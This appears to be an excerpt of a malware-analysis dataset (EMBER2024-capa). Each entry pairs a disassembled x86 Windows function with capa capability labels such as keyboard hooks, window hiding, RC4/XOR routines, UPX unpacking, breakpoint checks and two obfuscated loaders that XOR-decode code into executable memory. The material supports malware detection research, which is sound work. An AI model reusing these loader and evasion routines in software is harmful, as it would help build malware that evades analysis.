joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5c559c
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc60
push ebx
xor edx, edx
mov dword [ebp - 0x3a0], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x5c5747
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x44], 0
jne 0x5c5728
mov dl, 1
mov eax, dword [0x487f54]
call fcn.004ab458
mov edx, dword [ebp - 4]
mov dword [edx + 0x44], eax
mov eax, dword [ebp - 4]
add eax, 0x48
call fcn.00409750
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x5c5717
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0052b070
test al, al
je 0x5c570a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x39c], eax
mov byte [ebp - 0x398], 0
lea ecx, [ebp - 0x39c]
mov edx, 0x5c5758
lea eax, [ebp - 0x394]
call fcn.00421dcc
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x5c570a
xor eax, eax
push ebp
push 0x5c5703
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x200
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x314]
push eax
push 0
push 0
push 0x5c57c8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x5c56ec
lea eax, [ebp - 0x3a0]
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.0040a374
mov edx, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
mov ebx, dword [eax]
call dword [ebx + 0x40]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x4c]
jne 0x5c56ec
mov eax, dword [ebp - 4]
add eax, 0x48
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.0040a374
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5c570a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x5c560d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x44]
mov byte [eax + 0x39], 0
mov dl, 1
call fcn.004ab3a8
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x44]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5c574e
lea eax, [ebp - 0x3a0]
call fcn.00409750
ret

Function at 0x5c62f4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x63576c]
cmp byte [eax + 0xc5], 0
jne 0x5c6366
cmp dword [0x635790], 0
jne 0x5c6326
call sub.KERNEL32.DLL_GetCurrentThreadId
push eax
push 0
mov eax, dword [0x62e12c]
push eax
push 3
call sub.user32.dll_SetWindowsHookExW
mov dword [0x635790], eax
cmp dword [0x63578c], 0
jne 0x5c6341
push 0
push 0
push 0
push 0
call sub.KERNEL32.DLL_CreateEventW
mov dword [0x63578c], eax
cmp dword [0x635794], 0
jne 0x5c6366
push esp
push 0
push 0
mov eax, dword [0x62e128]
push eax
push 0x3e8
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x635794], eax
pop edx
ret
Function at 0x5c6788
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
test dl, dl
je 0x5c679f
add esp, 0xfffffff0
call fcn.0040803c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004bbb28
mov eax, dword [0x62f000]
cmp byte [eax], 0
jne 0x5c67cc
push 0
call sub.ole32.dll_OleInitialize
test eax, 0x80000000
sete al
mov byte [ebx + 0x194], al
mov eax, dword [0x62f44c]
cmp word [eax + 2], 0
jne 0x5c67e6
mov eax, dword [0x62f44c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.005c8a5c
mov eax, dword [0x62f5dc]
cmp word [eax + 2], 0
jne 0x5c6800
mov eax, dword [0x62f5dc]
mov dword [eax + 4], ebx
mov dword [eax], fcn.005c8c60
mov byte [ebx + 0x41], 0
mov dl, 1
mov eax, dword [0x4eb544]
call fcn.004f16a8
mov esi, eax
mov dword [ebx + 0x54], esi
mov dword [esi + 0xc], ebx
mov dword [esi + 8], 0x5c91d8
mov dl, 1
mov eax, dword [0x484798]
call fcn.004079a0
mov dword [ebx + 0xa8], eax
mov dl, 1
mov eax, dword [0x484798]
call fcn.004079a0
mov dword [ebx + 0xc8], eax
xor eax, eax
mov dword [ebx + 0x74], eax
xor eax, eax
mov dword [ebx + 0x98], eax
mov dword [ebx + 0x70], 0xff000018
mov dword [ebx + 0x8c], 0x1f4
add dword [eax], eax
add dh, al
adc dword [eax + 0x1000000], 0x33
ror byte [ecx + 0x9483], 0
mov dword [ebx + 0x88], 0x9c4
mov byte [ebx + 0x9c], 0
mov byte [ebx + 0xbd], 1
mov byte [ebx + 0xd4], 1
mov dl, 1
mov eax, dword [0x4eff6c]
call fcn.004facb8
mov esi, eax
mov dword [ebx + 0xb8], esi
push 0x5c69e8
mov eax, dword [0x62f294]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconW
mov edx, eax
mov eax, esi
call fcn.004fb150
mov eax, dword [ebx + 0xb8]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x5c94c0
mov dl, 1
mov eax, dword [0x484798]
call fcn.004079a0
mov dword [ebx + 0xb0], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x202]
push eax
mov eax, dword [0x62f294]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_GetModuleFileNameW
lea eax, [ebp - 0x202]
mov dx, 0x5c
call fcn.00421bcc
test eax, eax
je 0x5c691a
lea edx, [eax + 2]
lea eax, [ebp - 0x202]
call fcn.00421a08
lea eax, [ebp - 0x202]
mov dx, 0x2e
call fcn.00421bb0
test eax, eax
je 0x5c6932
mov word [eax], 0
lea eax, [ebp - 0x202]
push eax
call sub.user32.dll_CharNextW
push eax
call sub.user32.dll_CharLowerW
lea eax, [ebx + 0xa4]
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
Function at 0x5c6f10
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x188]
test eax, eax
je 0x5c6fb2
cmp dword [ebx + 0xac], 0
jne 0x5c6fac
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x5c6e4c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0xa8]
cmp dword [eax + 8], 0
je 0x5c6fac
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x5c6f72
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0xa8]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x5c6fac
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0xa8]
call fcn.004a6af8
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x5c6f81
inc dword [ebx + 0xac]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x5c71f0
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov ebx, edx
mov esi, eax
mov eax, dword [0x63576c]
cmp dword [eax + 0x188], 0
je 0x5c736a
test bl, bl
jne 0x5c72b5
cmp dword [esi + 0xb4], 0
jne 0x5c72aa
mov eax, esi
call fcn.005ca1b4
push eax
push 0x5c70e4
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x58], 0
je 0x5c727b
mov eax, dword [0x63576c]
cmp byte [eax + 0xeb], 0
je 0x5c727b
mov eax, dword [esi + 0xf0]
mov dword [esp], eax
mov eax, dword [esp]
test eax, eax
je 0x5c725c
sub eax, 4
mov eax, dword [eax]
mov edi, eax
dec edi
cmp edi, 0
jl 0x5c727b
push 0
mov eax, dword [esi + 0xf0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x5c7264
mov eax, dword [esi + 0xb0]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x5c72aa
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0xb0]
call fcn.004a6af8
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x5c728a
inc dword [esi + 0xb4]
jmp 0x5c736a
cmp dword [esi + 0xb4], 0
jle 0x5c736a
dec dword [esi + 0xb4]
cmp dword [esi + 0xb4], 0
jne 0x5c736a
cmp dword [esi + 0x58], 0
je 0x5c731f
mov eax, dword [0x63576c]
cmp byte [eax + 0xeb], 0
je 0x5c731f
mov eax, dword [esi + 0xf0]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
test eax, eax
je 0x5c7300
sub eax, 4
mov eax, dword [eax]
mov edi, eax
dec edi
cmp edi, 0
jl 0x5c731f
push 5
mov eax, dword [esi + 0xf0]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x5c7308
mov eax, dword [esi + 0xb0]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x5c734e
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0xb0]
call fcn.004a6af8
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x5c732e
mov eax, dword [esi + 0xb0]
mov edx, dword [eax]
call dword [edx + 8]
lea eax, [esi + 0xf0]
mov edx, dword [0x5b8d04]
call fcn.0040b870
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x5eacdc
Capabilities:
Check os version

Disassembly:
add esp, 0xfffffeec
mov dword [esp], 0x114
push esp
call sub.KERNEL32.DLL_GetVersionExW
cmp dword [esp + 4], 5
ja 0x5ead08
cmp dword [esp + 4], 5
jne 0x5ead04
cmp dword [esp + 8], 1
jae 0x5ead08
xor eax, eax
jmp 0x5ead0a
mov al, 1
add esp, 0x114
ret

Function at 0x5f293c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
cmp byte [0x636510], 0
jne 0x5f2953
call fcn.005f28f8
mov eax, edi
dec eax
test eax, eax
jl 0x5f297b
inc eax
xor edx, edx
movzx ecx, byte [esi + edx]
xor ecx, ebx
and ecx, 0xff
mov ecx, dword [ecx*4 + 0x636110]
shr ebx, 8
xor ecx, ebx
mov ebx, ecx
inc edx
dec eax
jne 0x5f295d
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x5f5670
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebx + 0x14]
movzx edx, byte [eax + 0x461]
movzx ecx, dl
cmp ecx, 6
ja case.0x5f570a.0
jmp dword [ecx*4 + 0x5f56a3]
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x5f56d5
sub dl, 8
je 0x5f56e4
jmp case.0x5f570a.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x5f533c
jmp case.0x5f570a.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x5f5390
jmp case.0x5f570a.0
movzx ecx, byte [eax + 0x460]
cmp ecx, 0x10
ja case.0x5f570a.0
movzx ecx, byte [ecx + 0x5f5711]
jmp dword [ecx*4 + 0x5f5722]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x5f5430
jmp case.0x5f570a.0
cmp dl, 3
jne 0x5f574f
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x5f5488
jmp case.0x5f570a.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x5f5444
jmp case.0x5f570a.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x5f54cc
jmp case.0x5f570a.0
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x5f577a
sub dl, 8
je 0x5f5786
jmp case.0x5f570a.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x5f54f8
jmp case.0x5f570a.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x5f555c
jmp case.0x5f570a.0
movzx edx, byte [eax + 0x460]
sub dl, 8
je 0x5f57a5
sub dl, 8
je 0x5f57b1
jmp case.0x5f570a.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x5f560c
jmp case.0x5f570a.0
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0x5f5634
mov ecx, dword [eax + 0x468]
mov edx, dword [ebx + 0x1c]
dec edx
imul ecx, edx
mov esi, ecx
add esi, dword [eax + 0x450]
mov dword [ebp - 0xc], esi
mov esi, dword [eax + 0x454]
mov dword [ebp - 8], esi
add ecx, dword [eax + 0x44c]
mov dword [ebp - 0x10], ecx
mov esi, edx
test esi, esi
jb 0x5f5853
inc esi
mov eax, dword [ebx + 0x20]
inc eax
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [ebp + 8]
push eax
movzx eax, byte [ebx + 0x48]
mov ecx, dword [ebx + eax*4 + 0x40]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.005f4884
test eax, eax
je 0x5f5853
mov eax, ebx
call fcn.005f585c
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x10]
push eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
lea edx, [eax + 1]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
call dword [ebp - 0x18]
movzx eax, byte [ebx + 0x48]
xor al, 1
mov byte [ebx + 0x48], al
mov eax, dword [ebx + 0x14]
mov eax, dword [eax + 0x468]
sub dword [ebp - 0xc], eax
sub dword [ebp - 0x10], eax
mov eax, dword [ebx + 0x18]
add dword [ebp - 8], eax
dec esi
jne 0x5f57ec
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x5f585c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebx, eax
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax]
dec al
je 0x5f588d
dec al
je 0x5f58c8
dec al
je 0x5f5905
dec al
je 0x5f596e
jmp 0x5f59f8
mov esi, dword [ebx + 0x24]
inc esi
mov edi, dword [ebx + 0x20]
sub edi, esi
jb 0x5f59f8
inc edi
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx edx, byte [ecx + edx]
movzx eax, byte [ebx + 0x48]
mov eax, dword [ebx + eax*4 + 0x40]
add dl, byte [eax + esi]
and dl, 0xff
mov byte [eax + esi], dl
inc esi
dec edi
jne 0x5f589d
jmp 0x5f59f8
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x5f59f8
mov esi, 1
movzx eax, byte [ebx + 0x48]
mov ecx, eax
xor cl, 1
and ecx, 0x7f
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ecx, byte [ecx + esi]
movzx edx, al
mov edx, dword [ebx + edx*4 + 0x40]
add cl, byte [edx + esi]
and cl, 0xff
mov byte [edx + esi], cl
inc esi
dec edi
jne 0x5f58d8
jmp 0x5f59f8
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x5f59f8
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov ecx, esi
dec ecx
mov edx, dword [ebx + 0x24]
cmp ecx, edx
jae 0x5f5934
xor ebp, ebp
jmp 0x5f5944
mov ecx, esi
sub ecx, edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx ebp, byte [edx + ecx]
add eax, ebp
sar eax, 1
jns 0x5f594d
adc eax, 0
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
add al, byte [edx + esi]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x5f5915
jmp 0x5f59f8
xor ebp, ebp
xor eax, eax
mov dword [esp + 4], eax
mov edi, dword [ebx + 0x20]
test edi, edi
jbe 0x5f59f8
mov esi, 1
movzx eax, byte [ebx + 0x48]
xor al, 1
and eax, 0x7f
mov eax, dword [ebx + eax*4 + 0x40]
movzx eax, byte [eax + esi]
mov edx, esi
dec edx
cmp edx, dword [ebx + 0x24]
jb 0x5f59c7
mov edx, esi
sub edx, dword [ebx + 0x24]
movzx ecx, byte [ebx + 0x48]
mov ecx, dword [ebx + ecx*4 + 0x40]
movzx ebp, byte [ecx + edx]
movzx edx, byte [ebx + 0x48]
xor dl, 1
and edx, 0x7f
mov edx, dword [ebx + edx*4 + 0x40]
mov ecx, esi
sub ecx, dword [ebx + 0x24]
movzx edx, byte [edx + ecx]
mov dword [esp + 4], edx
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
movzx edx, byte [edx + esi]
mov dword [esp], edx
movzx ecx, byte [esp + 4]
push eax
mov eax, ebp
pop edx
call fcn.005f2984
add al, byte [esp]
and al, 0xff
movzx edx, byte [ebx + 0x48]
mov edx, dword [ebx + edx*4 + 0x40]
mov byte [edx + esi], al
inc esi
dec edi
jne 0x5f5982
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x5fd558
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x5fd586
mov eax, ebx
call fcn.005fe014
cmp dword [ebx + 0x40], 0
je 0x5fd57f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x5fd5f7
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x5fd5e9
cmp dword [ebx + 8], 0
je 0x5fd5a8
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x5fd5ba
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x5fd5e9
cmp dword [ebx + 8], 0
je 0x5fd59b
cmp eax, 3
je 0x5fd5cd
dec eax
jne 0x5fd59b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x5fd59b
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x5fd59b
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x5fd615
cmp dword [ebx + 0x14], 0xcc
je 0x5fd615
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.005fd620
pop ebx
ret

Function at 0x60f920
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe8
push ebx
xor edx, edx
mov dword [ebp - 0x414], edx
mov dword [ebp - 0x418], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x60f9e6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x410]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathW
lea eax, [ebp - 0x208]
push eax
push 0
push 0x60f9f4
lea eax, [ebp - 0x410]
push eax
call sub.KERNEL32.DLL_GetTempFileNameW
test eax, eax
jne 0x60f9b6
call sub.KERNEL32.DLL_GetLastError
lea ecx, [ebp - 0x418]
xor edx, edx
call fcn.0042546c
mov ecx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
mov edx, 0x60fa14
call fcn.0040a524
mov ecx, dword [ebp - 0x414]
mov dl, 1
mov eax, dword [0x4199a0]
call fcn.004269a8
call fcn.00408e4c
mov eax, ebx
lea edx, [ebp - 0x208]
mov ecx, 0x104
call fcn.0040a374
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x60f9ed
lea eax, [ebp - 0x418]
mov edx, 2
call fcn.004097b0
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x403e59
pop dword [ebp - 0x28]
mov eax, 0xea483849
add eax, 0x15f80610
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x44c636e2
add dword [ebp - 0x38], 0x98c0e69
mov dword [ebp - 0x34], 0x9b38fcda
add dword [ebp - 0x34], 0x96fa4f6b
mov dword [ebp - 0x30], 0xd0d38f56
sub dword [ebp - 0x30], 0x84874b28
mov dword [ebp - 0x2c], 0xbaae8508
add dword [ebp - 0x2c], 0x45517af8
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x59b573b7
add dword [ebp - 0x38], 0x1abcf59f
mov dword [ebp - 0x34], 0xebf57308
sub dword [ebp - 0x34], 0xaa891193
mov dword [ebp - 0x30], 0x432aa2e6
add dword [ebp - 0x30], 0x2044c986
mov dword [ebp - 0x2c], 0xf763697b
sub dword [ebp - 0x2c], 0xf763697b
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x35bb5
push 0
call eax
mov ecx, 0x43f0
mov ebx, eax
mov edx, 0xd8462f02
sub edx, 0xd8052f02
add edx, dword [ebp - 0x28]
mov edi, 0xcb05740e
sub edi, 0x43fe12b2
mov dword [ebp - 0x18], 0x73eeddbb
mov esi, dword [edx]
xor dword [ebp - 0x10], 0x7a3fa824
sub esi, edi
sub dword [ebp - 0x18], ecx
mov dword [ebx], esi
add dword [ebp - 0x18], ecx
add ebx, 0xb245b74c
sub ebx, 0xb245b748
add edx, 0xc479eda3
sub edx, 0xc479ed9f
loop 0x403f6b
add eax, 0x1340dda6
add eax, 0xecc024ed
mov ebx, eax
add eax, 0x7cdb8929
add eax, 0x832476dc
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x415210
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x41102e
lea edi, [esi - 0x1002e]
push edi
or ebp, 0xffffffff
jmp 0x415232
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x415239
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x415228
mov eax, 1
add ebx, ebx
jne 0x41524b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x415240
jne 0x41525c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x415240
xor ecx, ecx
sub eax, 3
jb 0x415270
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4152e2
mov ebp, eax
add ebx, ebx
jne 0x41527b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x415288
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4152ac
inc ecx
add ebx, ebx
jne 0x415298
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41528d
jne 0x4152a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41528d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4152cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4152bd
jmp 0x41522e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4152cc
add edi, ecx
jmp 0x41522e
pop esi
mov edi, esi
mov ecx, 0x30e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4152ea
cmp byte [edi], 0
jne 0x4152ea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4152ef
lea edi, [esi + 0x13000]
mov eax, dword [edi]
or eax, eax
je 0x41535e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1604c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x160c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41531c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x160c8]
or eax, eax
je 0x415358
mov dword [ebx], eax
add ebx, 4
jmp 0x415339
call dword [esi + 0x160cc]
popal
jmp section.UPX0
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x40a05b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40a06a
pop dword [ebp - 0x20]
mov eax, 0xfb15d23c
add eax, 0x52ace2e
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x365c0
push 0
mov eax, 0x1d5630a8
sub eax, 0x1d154f88
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x8d975e6e
sub ecx, 0x8d97229c
mov esi, eax
mov edi, 0x113f8ce0
add edi, 0xef01eb20
add edi, dword [ebp - 0x20]
mov edx, 0x8f6e6501
add dword [ebp - 0xc], ebx
mov ebx, dword [edi]
sub dword [ebp - 4], 0x83a9c6d2
xor ebx, edx
xor dword [ebp - 0x10], 0x58f1a21d
mov dword [esi], ebx
sub dword [ebp - 0x14], 0x23bd4e10
add esi, 4
add edi, 0x2abb6d19
add edi, 0xd54492eb
loop 0x40a0c3
add eax, 0xe21b
xor ebx, ebx
add ebx, eax
add eax, 0xc954bb6a
sub eax, 0xc954bb65
mov ecx, 0xfe1d0b9c
sub ecx, 0xfddd0b9c
add ecx, dword [ebp - 0x20]
call ebx
leave
ret